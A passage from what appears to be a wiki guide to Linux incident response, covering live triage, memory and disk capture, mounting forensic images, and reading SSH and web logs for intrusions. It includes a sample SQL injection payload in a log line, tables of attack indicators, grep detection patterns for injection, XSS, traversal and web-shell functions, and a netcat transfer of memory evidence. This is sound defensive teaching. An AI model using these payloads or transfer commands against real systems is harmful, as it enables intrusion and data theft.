# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) really is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;. Learn what the legitimate ones look like on your systems.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have many legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now deliberately restricts that, so you need a tool.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;; no kernel driver to load || Free; a single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Free; can write straight to the network. Also works on Android.&lt;br /&gt;
|-&lt;br /&gt;
| Commercial agents || Vendor agent brings its own driver || Useful if your organization already owns one.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Only do this over a network you trust: netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, since Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. Stay flexible: no single method fits every case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown changes the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. On top of that, Linux disks are often built in layers, and you have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered here; encrypted volumes need the key.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table: what&#039;s inside? (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (good habits), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating.&lt;br /&gt;
* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thereby modifying) anything. The trade-off is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; before trusting what a link shows you.&lt;br /&gt;
* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with the big picture, then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine before you trust them)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves someone &#039;&#039;tried&#039;&#039;. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (noisy: review, don&#039;t assume)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0: should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence: a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
